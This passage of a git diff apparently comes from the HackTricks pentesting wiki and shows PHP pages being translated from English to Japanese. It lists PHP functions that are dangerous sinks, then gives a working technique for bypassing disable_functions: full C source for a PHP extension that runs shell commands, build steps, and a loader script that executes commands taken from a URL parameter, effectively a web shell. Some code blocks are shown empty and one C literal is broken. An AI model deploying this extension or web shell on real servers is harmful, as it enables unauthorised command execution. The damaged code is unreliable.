現在のすべてのバージョン +* 7.4 - 現在のすべてのバージョン +* 8.0 - 現在のすべてのバージョン +* [**7.0から8.0のエクスプロイト(Unixのみ)**](https://github.com/mm0r1/exploits/blob/master/php-filter-bypass/exploit.php) * [**PHP 7.0=7.4 (\*nix)**](disable\_functions-bypass-php-7.0-7.4-nix-only.md#php-7-0-7-4-nix-only) * [**Imagick 3.3.0 PHP >= 5.4**](disable\_functions-bypass-imagick-less-than-3.3.0-php-greater-than-5.4-exploit.md) * [**PHP 5.x Shellsock**](disable\_functions-php-5.x-shellshock-exploit.md) @@ -615,17 +668,17 @@ There are several ways to bypass disable\_functions if some specific module is b * [**PHP 5.2 FOpen exploit**](disable\_functions-bypass-php-5.2-fopen-exploit.md) * [**PHP 4 >= 4.2.-, PHP 5 pcntl\_exec**](disable\_functions-bypass-php-4-greater-than-4.2.0-php-5-pcntl\_exec.md) -### **Automatic Tool** +### **自動ツール** -The following script tries some of the methods commented here:\ +以下のスクリプトはここでコメントされているいくつかの方法を試します:\ [https://github.com/l3m0n/Bypass\_Disable\_functions\_Shell/blob/master/shell.php](https://github.com/l3m0n/Bypass\_Disable\_functions\_Shell/blob/master/shell.php) -## Other Interesting PHP functions +## その他の興味深いPHP関数 -### List of functions which accept callbacks +### コールバックを受け入れる関数のリスト -These functions accept a string parameter which could be used to call a function of the attacker's choice. Depending on the function the attacker may or may not have the ability to pass a parameter. In that case an Information Disclosure function like phpinfo() could be used.\ -Function => Position of callback arguments\ +これらの関数は、攻撃者が選択した関数を呼び出すために使用できる文字列パラメータを受け入れます。関数によっては、攻撃者がパラメータを渡すことができるかどうかは異なります。その場合、phpinfo()のような情報開示関数を使用することができます。\ +関数 => コールバック引数の位置\ 'ob\_start' => 0,\ 'array\_diff\_uassoc' => -1,\ 'array\_diff\_ukey' => -1,\ @@ -659,9 +712,9 @@ Function => Position of callback arguments\ 'sqlite\_create\_aggregate' => array(2, 3),\ 'sqlite\_create\_function' => 2, -### Information Disclosure +### 情報開示 -Most of these function calls are not sinks. But rather it maybe a vulnerability if any of the data returned is viewable to an attacker. If an attacker can see phpinfo() it is definitely a vulnerability.\ +これらの関数呼び出しのほとんどはシンクではありません。しかし、攻撃者が返されたデータのいずれかを表示できる場合、脆弱性となる可能性があります。攻撃者がphpinfo()を見ることができる場合、それは明らかに脆弱性です。\ **phpinfo**\ **posix\_mkfifo**\ **posix\_getlogin**\ @@ -679,15 +732,14 @@ Most of these function calls are not sinks. But rather it maybe a vulnerability **getmyinode**\ **getmypid**\ **getmyuid** +### その他 -### Other - -**extract** - Opens the door for register\_globals attacks (see study in scarlet).\ -**parse\_str** - works like extract if only one argument is given.\ +**extract** - register\_globals攻撃の可能性がある(詳細はstudy in scarletを参照)。\ +**parse\_str** - 引数が1つだけの場合、extractと同様の動作をする。\ putenv\ **ini\_set**\ -**mail** - has CRLF injection in the 3rd parameter, opens the door for spam.\ -**header** - on old systems CRLF injection could be used for xss or other purposes, now it is still a problem if they do a header("location: ..."); and they do not die();. The script keeps executing after a call to header(), and will still print output normally. This is nasty if you are trying to protect an administrative area.\ +**mail** - 3番目のパラメータにCRLFインジェクションがあり、スパムの可能性がある。\ +**header** - 古いシステムではCRLFインジェクションがXSSやその他の目的で使用される可能性があるが、header("location: ...");を実行した後にdie()がない場合に問題が発生する。header()の呼び出し後もスクリプトは実行され、通常通り出力が表示される。これは管理エリアを保護しようとしている場合に困難です。\ **proc\_nice**\ **proc\_terminate**\ **proc\_close**\ @@ -700,11 +752,11 @@ putenv\ **posix\_setsid**\ **posix\_setuid** -### Filesystem Functions +### ファイルシステム関数 -According to RATS all filesystem functions in php are nasty. Some of these don't seem very useful to the attacker. Others are more useful than you might think. For instance if allow\_url\_fopen=On then a url can be used as a file path, so a call to copy($\_GET\['s'], $\_GET\['d']); can be used to upload a PHP script anywhere on the system. Also if a site is vulnerable to a request send via GET everyone of those file system functions can be abused to channel and attack to another host through your server. +RATSによると、PHPのすべてのファイルシステム関数は危険です。攻撃者にとってはあまり有用ではないものもありますが、思っているよりも有用なものもあります。たとえば、allow\_url\_fopen=Onの場合、URLをファイルパスとして使用できるため、copy($\_GET\['s'], $\_GET\['d']);の呼び出しでシステム上の任意の場所にPHPスクリプトをアップロードすることができます。また、サイトがGET経由で送信されたリクエストに対して脆弱性がある場合、これらのファイルシステム関数を悪用して攻撃を別のホストにチャネルすることができます。 -**Open filesystem handler** +**ファイルシステムハンドラを開く** **fopen**\ **tmpfile**\ @@ -712,7 +764,7 @@ According to RATS all filesystem functions in php are nasty. Some of these don't **gzopen**\ **SplFileObject**->\_\_construct -**Write to filesystem (partially in combination with reading)** +**ファイルシステムに書き込む(一部は読み取りとの組み合わせで)** **chgrp**\ **chmod**\ @@ -730,20 +782,20 @@ According to RATS all filesystem functions in php are nasty. Some of these don't **tempnam**\ **touch**\ **unlink**\ -**imagepng** - 2nd parameter is a path.\ -**imagewbmp** - 2nd parameter is a path.\ -**image2wbmp** - 2nd parameter is a path.\ -**imagejpeg** - 2nd parameter is a path.\ -**imagexbm** - 2nd parameter is a path.\ -**imagegif** - 2nd parameter is a path.\ -**imagegd** - 2nd parameter is a path.\ -**imagegd2** - 2nd parameter is a path.\ +**imagepng** - 2番目のパラメータはパスです。\ +**imagewbmp** - 2番目のパラメータはパスです。\ +**image2wbmp** - 2番目のパラメータはパスです。\ +**imagejpeg** - 2番目のパラメータはパスです。\ +**imagexbm** - 2番目のパラメータはパスです。\ +**imagegif** - 2番目のパラメータはパスです。\ +**imagegd** - 2番目のパラメータはパスです。\ +**imagegd2** - 2番目のパラメータはパスです。\ **iptcembed**\ **ftp\_get**\ **ftp\_nb\_get**\ **scandir** -**Read from filesystem** +**ファイルシステムから読み取る** **file\_exists**\ **-- file\_get\_contents**\ @@ -803,10 +855,10 @@ According to RATS all filesystem functions in php are nasty. Some of these don't ☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). +* **サイバーセキュリティ企業で働いていますか?** **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンやHackTricksのPDFをダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 +* [**公式のPEASS&HackTricksグッズ**](https://peass.creator-spring.com)を手に入れましょう。 +* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**をフォローしてください。** +* **ハッキングのトリックを共有するには、**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **にPRを提出してください。** diff --git a/network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-dl-function.md b/network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-dl-function.md index f8c918f8a..db846320b 100644 --- a/network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-dl-function.md +++ b/network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-dl-function.md @@ -1,125 +1,119 @@ - -
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- **サイバーセキュリティ会社**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +- [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter**で[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**をフォロー**してください。 -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)にPRを提出**してください。
-**Important note:** +**重要な注意事項:** ![image](https://user-images.githubusercontent.com/84577967/174675487-a4c4ca06-194f-4725-85af-231a2f35d56c.png) -**`dl`** is a PHP function that can be used to load PHP extensions. It the function isn't disabled it could be abused to **bypass `disable_functions` and execute arbitrary commands**.\ -However, it has some strict limitations: +**`dl`**は、PHPの拡張機能をロードするために使用される関数です。この関数が無効化されていない場合、**`disable_functions`をバイパスして任意のコマンドを実行**することができます。\ +ただし、いくつかの厳しい制限があります: -* The `dl` function must be **present** in the **environment** and **not disabled** -* The PHP Extension **must be compiled with the same major version** (PHP API version) that the server is using (you can see this information in the output of phpinfo) -* The PHP extension must be **located in the directory** that is **defined** by the **`extension_dir`** directive (you can see it in the output of phpinfo). It's very unprobeable that an attacker trying to abuse the server will have write access over this directory, so this requirement probably will prevent you to abuse this technique). +* `dl`関数は、**環境に存在し、無効化されていなければなりません** +* PHP拡張機能は、サーバーが使用している**同じメジャーバージョン**(PHP APIバージョン)で**コンパイルされている必要があります**(この情報はphpinfoの出力で確認できます) +* PHP拡張機能は、**`extension_dir`**ディレクティブで**定義されたディレクトリ**に**配置されている必要があります**(phpinfoの出力で確認できます)。攻撃者がサーバーを悪用しようとする際に、このディレクトリに書き込みアクセス権限を持っている可能性は非常に低いため、この要件はおそらくこのテクニックの悪用を防ぐでしょう。 -**If you meet these requirements, continue reading this post copied from** [**https://antichat.com/threads/70763/**](https://antichat.com/threads/70763/) **to learn how to bypass disable\_functions** +**これらの要件を満たしている場合は、`disable_functions`をバイパスする方法を学ぶために、次の投稿を**[**https://antichat.com/threads/70763/**](https://antichat.com/threads/70763/) **から続けて読んでください** -When the admin was configuring the box he/she overlooked the [dl function](http://www.php.net/manual/en/function.dl.php) and didn't disable it since there was no mention of being able to execute system commands.\ -The [dl function](http://www.php.net/manual/en/function.dl.php) is used to loads PHP extensions when a script is executed.\ +管理者がボックスを設定しているとき、システムコマンドを実行できることについての言及がなかったため、[dl関数](http://www.php.net/manual/en/function.dl.php)を無効にしていませんでした。\ +[dl関数](http://www.php.net/manual/en/function.dl.php)は、スクリプトが実行されるときにPHP拡張機能をロードするために使用されます。\ \ -(PHP extensions are written in C/C++ and are used to give PHP more functionality.)\ +(PHP拡張機能はC/C++で書かれ、PHPにさらなる機能を提供するために使用されます。)\ \ -The attacker notices the function isn't disabled and sees potential and decides to create a PHP extension.\ -The attacker checks the version of PHP using a small script`` (PHP\_VERSION is a predefined constant that contains the version number of PHP.)\ +攻撃者は、関数が無効化されていないことに気付き、潜在的な可能性を見出し、PHP拡張機能を作成することを決定します。\ +攻撃者は、小さなスクリプト``を使用してPHPのバージョンをチェックします(PHP\_VERSIONは、PHPのバージョン番号を含む定義済みの定数です)。\ \ -The attacker notes the version and downloads the tarball from the [PHP website](http://www.php.net/downloads.php), in this scenario the version is older than the current release so the attacker has to go to the [archive](http://museum.php.net).\ +攻撃者はバージョンを確認し、[PHPのウェブサイト](http://www.php.net/downloads.php)からtarボールをダウンロードします。このシナリオでは、バージョンが現行リリースよりも古いため、攻撃者は[アーカイブ](http://museum.php.net)に移動する必要があります。\ \ -Next he extracts the source and [compiles and installs](http://www.php.net/manual/en/install.php) the version of PHP on his own box.\ +次に、攻撃者はソースを抽出し、[コンパイルおよびインストール](http://www.php.net/manual/en/install.php)を自分のボックスで行います。\ \ -Now it's time to create the extension\ -The attacker reads up on [creating PHP extensions](http://www.php.net/manual/en/zend.creating.php) from the PHP site.\ -After reading through the documentation and creating some extensions of his own he decides to look at the PHP code base since the function he's after is already created.\ +それでは、拡張機能を作成しましょう。\ +攻撃者は、PHPサイトから[PHP拡張機能の作成](http://www.php.net/manual/en/zend.creating.php)について調べます。\ +ドキュメントを読み、独自の拡張機能を作成した後、攻撃者は既に作成されている関数を持つPHPコードベースを見ることにします。\ \ -The function that will be duplicated will be the [exec function](http://www.php.net/manual/en/function.exec.php)\ -in the code base it's located in ext/standard/exec.c\ +複製される関数は、[exec関数](http://www.php.net/manual/en/function.exec.php)です。\ +コードベースでは、それはext/standard/exec.cにあります。\ \ -The relevant parts are implemented into a new extension of its own.\ +関連する部分は、独自の拡張機能に実装されます。\ \ -**Notes:** +**注意事項:** -Before you start compiling the codes you should be aware of two points: - -1- The value of `ZEND_MODULE_API_NO` must be changed in the `bypass.c` file to the current `Zend Extension Build` you working on, you can get it using the command line below: +コードをコンパイルする前に、2つのポイントに注意する必要があります: +1- `bypass.c`ファイル内の`ZEND_MODULE_API_NO`の値を、現在の`Zend Extension Build`に変更する必要があります。これは、以下のコマンドラインを使用して取得できます: ```bash php -i | grep "Zend Extension Build" |awk -F"API4" '{print $2}' | awk -F"," '{print $1}' ``` - -2- If you faced any errors in compiling the bypass.c file in the recent PHP version (5, 7 and 8), you can change the PHP_FUNCTION(bypass_exec) to this: - +2- 最新のPHPバージョン(5、7、8)でbypass.cファイルのコンパイル中にエラーが発生した場合、PHP_FUNCTION(bypass_exec)を次のように変更できます: ``` PHP_FUNCTION(bypass_exec) { - FILE *in; - char *command; - size_t command_len; - zend_string *ret; - php_stream *stream; +FILE *in; +char *command; +size_t command_len; +zend_string *ret; +php_stream *stream; - ZEND_PARSE_PARAMETERS_START(1, 1) - Z_PARAM_STRING(command, command_len) - ZEND_PARSE_PARAMETERS_END(); +ZEND_PARSE_PARAMETERS_START(1, 1) +Z_PARAM_STRING(command, command_len) +ZEND_PARSE_PARAMETERS_END(); - if (!command_len) { - zend_argument_value_error(1, "cannot be empty"); - RETURN_THROWS(); - } - if (strlen(command) != command_len) { - zend_argument_value_error(1, "must not contain any null bytes"); - RETURN_THROWS(); - } +if (!command_len) { +zend_argument_value_error(1, "cannot be empty"); +RETURN_THROWS(); +} +if (strlen(command) != command_len) { +zend_argument_value_error(1, "must not contain any null bytes"); +RETURN_THROWS(); +} #ifdef PHP_WIN32 - if ((in=VCWD_POPEN(command, "rt"))==NULL) { +if ((in=VCWD_POPEN(command, "rt"))==NULL) { #else - if ((in=VCWD_POPEN(command, "r"))==NULL) { +if ((in=VCWD_POPEN(command, "r"))==NULL) { #endif - php_error_docref(NULL, E_WARNING, "Unable to execute '%s'", command); - RETURN_FALSE; - } +php_error_docref(NULL, E_WARNING, "Unable to execute '%s'", command); +RETURN_FALSE; +} - stream = php_stream_fopen_from_pipe(in, "rb"); - ret = php_stream_copy_to_mem(stream, PHP_STREAM_COPY_ALL, 0); - php_stream_close(stream); +stream = php_stream_fopen_from_pipe(in, "rb"); +ret = php_stream_copy_to_mem(stream, PHP_STREAM_COPY_ALL, 0); +php_stream_close(stream); - if (ret && ZSTR_LEN(ret) > 0) { - RETVAL_STR(ret); - } +if (ret && ZSTR_LEN(ret) > 0) { +RETVAL_STR(ret); +} } ``` - -The files for the separate extension end up as below: +別々の拡張子のファイルは以下のようになります: {% code title="bypass.c" %} ```c /* - +----------------------------------------------------------------------+ - | Copyright (c) 1997-2003 The PHP Group | - +----------------------------------------------------------------------+ - | This source file is subject to version 2.02 of the PHP license, | - | that is bundled with this package in the file LICENSE, and is | - | available at through the world-wide-web at | - | http://www.php.net/license/2_02.txt. | - | If you did not receive a copy of the PHP license and are unable to | - | obtain it through the world-wide-web, please send a note to | - | license@php.net so we can mail you a copy immediately. | - +----------------------------------------------------------------------+ ++----------------------------------------------------------------------+ +| Copyright (c) 1997-2003 The PHP Group | ++----------------------------------------------------------------------+ +| This source file is subject to version 2.02 of the PHP license, | +| that is bundled with this package in the file LICENSE, and is | +| available at through the world-wide-web at | +| http://www.php.net/license/2_02.txt. | +| If you did not receive a copy of the PHP license and are unable to | +| obtain it through the world-wide-web, please send a note to | +| license@php.net so we can mail you a copy immediately. | ++----------------------------------------------------------------------+ */ @@ -131,25 +125,25 @@ The files for the separate extension end up as below: #include "php_bypass.h" static function_entry bypass_functions[] = { - PHP_FE(bypass_exec, NULL) - {NULL, NULL, NULL} +PHP_FE(bypass_exec, NULL) +{NULL, NULL, NULL} }; zend_module_entry bypass_module_entry = { #if ZEND_MODULE_API_NO >= 20010901 - STANDARD_MODULE_HEADER, +STANDARD_MODULE_HEADER, #endif - PHP_BYPASS_EXTNAME, - bypass_functions, - NULL, - NULL, - NULL, - NULL, - NULL, +PHP_BYPASS_EXTNAME, +bypass_functions, +NULL, +NULL, +NULL, +NULL, +NULL, #if ZEND_MODULE_API_NO >= 20010901 - PHP_BYPASS_VERSION, +PHP_BYPASS_VERSION, #endif - STANDARD_MODULE_PROPERTIES +STANDARD_MODULE_PROPERTIES }; #ifdef COMPILE_DL_BYPASS @@ -158,47 +152,45 @@ ZEND_GET_MODULE(bypass) PHP_FUNCTION(bypass_exec){ - FILE *in; - int readbytes, total_readbytes=0, allocated_space; - pval **cmd; - char *ret; +FILE *in; +int readbytes, total_readbytes=0, allocated_space; +pval **cmd; +char *ret; - if (ZEND_NUM_ARGS()!=1 || zend_get_parameters_ex(1, &cmd)==FAILURE) { - WRONG_PARAM_COUNT; - } +if (ZEND_NUM_ARGS()!=1 || zend_get_parameters_ex(1, &cmd)==FAILURE) { +WRONG_PARAM_COUNT; +} - convert_to_string_ex(cmd); +convert_to_string_ex(cmd); #ifdef PHP_WIN32 - if ((in=VCWD_POPEN(Z_STRVAL_PP(cmd), "rt"))==NULL) { +if ((in=VCWD_POPEN(Z_STRVAL_PP(cmd), "rt"))==NULL) { #else - if ((in=VCWD_POPEN(Z_STRVAL_PP(cmd), "r"))==NULL) { +if ((in=VCWD_POPEN(Z_STRVAL_PP(cmd), "r"))==NULL) { #endif - php_error_docref(NULL TSRMLS_CC, E_WARNING, "Unable to execute '%s'", Z_STRVAL_PP(cmd)); - RETURN_FALSE; - } +php_error_docref(NULL TSRMLS_CC, E_WARNING, "Unable to execute '%s'", Z_STRVAL_PP(cmd)); +RETURN_FALSE; +} - allocated_space = EXEC_INPUT_BUF; - ret = (char *) emalloc(allocated_space); +allocated_space = EXEC_INPUT_BUF; +ret = (char *) emalloc(allocated_space); - while (1) { - readbytes = fread(ret+total_readbytes, 1, EXEC_INPUT_BUF, in); - if (readbytes<=0) { - break; - } +while (1) { +readbytes = fread(ret+total_readbytes, 1, EXEC_INPUT_BUF, in); +if (readbytes<=0) { +break; +} - total_readbytes += readbytes; - allocated_space = total_readbytes+EXEC_INPUT_BUF; - ret = (char *) erealloc(ret, allocated_space); - } +total_readbytes += readbytes; +allocated_space = total_readbytes+EXEC_INPUT_BUF; +ret = (char *) erealloc(ret, allocated_space); +} - pclose(in); +pclose(in); - RETVAL_STRINGL(ret, total_readbytes, 0); - Z_STRVAL_P(return_value)[total_readbytes] = '\'; +RETVAL_STRINGL(ret, total_readbytes, 0); +Z_STRVAL_P(return_value)[total_readbytes] = '\'; } ``` -{% endcode %} - {% code title="php_bypass.h" %} ```c #ifndef PHP_BYPASS_H @@ -214,108 +206,99 @@ extern zend_module_entry bypass_module_entry; #endif ``` -{% endcode %} - {% code title="config.m4" %} ```bash PHP_ARG_ENABLE(bypass, [whether to enable bypass support],[--enable-bypass]) if test "$PHP_BYPASS" = "yes"; then - AC_DEFINE(HAVE_BYPASS, 1, [Whether you have bypass]) - PHP_NEW_EXTENSION(bypass, bypass.c, $ext_shared) +AC_DEFINE(HAVE_BYPASS, 1, [Whether you have bypass]) +PHP_NEW_EXTENSION(bypass, bypass.c, $ext_shared) fi ``` {% endcode %} -Once the files are created it's time to build the PHP extension. - +ファイルが作成されたら、PHP拡張機能をビルドする時が来ました。 ``` phpize ./configure make ``` - -Once this is done the compiled extension will be located in the modules sub directory with the filename bypass.so.\ -The file is copied to a safe place, now the following commands are executed to clean up the newly created files. - +これが完了すると、コンパイルされた拡張機能は、bypass.soというファイル名でmodulesサブディレクトリに配置されます。\ +ファイルは安全な場所にコピーされ、次のコマンドが実行されて新しく作成されたファイルをクリーンアップします。 ``` make clean phpize --clean ``` +今、攻撃者は新しく作成した拡張子を被害者のホストにアップロードします。 -Now the attacker uploads the newly created extension to the victim host.\ -\ -(NOTE: Major releases of PHP use different API versions, in order for you to be able to compile the extension on one host and upload it to another the API versions must match. This is why initially the same PHP version was installed on the attackers box. )\ -\ -In order to load an extension with the dl function the extension needs to be in the the extension directory which is defined by the extension\_dir directive.\ -This can be a problem since it's less likely for the attacker to have write permissions in this directory, there is however a way to get passed this.\ -This problem has been discussed by developers on the dl function page within the notes section.\ -\ -The concept that was discussed is to use a relative path from the defined extension directory.\ -For example if the extension directory was set to /usr/php/extensions and you'd like to load bypass.so in the current web directory /home/example.com/html you would do as follows: +(注意:PHPのメジャーリリースでは、異なるAPIバージョンが使用されるため、拡張子を1つのホストでコンパイルして別のホストにアップロードするためには、APIバージョンが一致している必要があります。これが、最初に攻撃者のボックスに同じPHPバージョンをインストールした理由です。) +dl関数で拡張子をロードするためには、拡張子ディレクトリが必要であり、これはextension_dirディレクティブで定義されます。 +攻撃者がこのディレクトリに書き込み権限を持っている可能性は低いため、これは問題となる場合がありますが、回避策があります。 +この問題は、開発者によってdl関数のページのノートセクションで議論されています。 + +議論されたコンセプトは、定義された拡張子ディレクトリからの相対パスを使用することです。 +たとえば、拡張子ディレクトリが/usr/php/extensionsに設定されており、現在のウェブディレクトリが/home/example.com/htmlでbypass.soをロードしたい場合、次のようにします: ```php ``` +これにより、定義された拡張ディレクトリに拡張子が必要なくなります。 -This will get passed the need to have the extension in the defined extension directory.\ -\ -There is also an automated way so you won't have to change the relative path for different hosts, this code was created by endofyourself \[at] yahoo \[dot] com and improved apon later on by mag\_2000 \[at] front \[dot] ru\ -\ -There was one minor problem with the function, on some hosts the extension directory is set to "./" this function didn't take into account if the extension directory was set to a relative path, the fix for this is too use the realpath function.\ -\ -The final script used to load the extension and execute system commands to bypass the disabled functions is as follows: +また、異なるホストに対して相対パスを変更する必要がない自動化された方法もあります。このコードはendofyourself \[at] yahoo \[dot] comによって作成され、後にmag\_2000 \[at] front \[dot] ruによって改良されました。 +この関数には1つの小さな問題がありました。一部のホストでは、拡張ディレクトリが"./"に設定されていますが、この関数は相対パスが設定されている場合を考慮していませんでした。これを修正するために、realpath関数を使用します。 + +無効化された関数をバイパスするために、拡張をロードし、システムコマンドを実行するための最終スクリプトは次のとおりです: ```php '.$output.''; +$output = bypass_exec($_GET['cmd']); +echo '
'.$output.'
'; } ?> ``` - -All the attacker has to do now to execute commands is call the URL to the script along with a cmd variable with the desired command. - +攻撃者がコマンドを実行するために行うべきことは、スクリプトのURLに望むコマンドを含むcmd変数を付けて呼び出すだけです。 ``` http://www.example.com/script.php?cmd=ls ``` - -
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- **サイバーセキュリティ会社**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +- [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。
- - diff --git a/network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-imagick-less-than-3.3.0-php-greater-than-5.4-exploit.md b/network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-imagick-less-than-3.3.0-php-greater-than-5.4-exploit.md index cb023516f..001b234e2 100644 --- a/network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-imagick-less-than-3.3.0-php-greater-than-5.4-exploit.md +++ b/network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-imagick-less-than-3.3.0-php-greater-than-5.4-exploit.md @@ -1,26 +1,23 @@ - -
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +- [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** 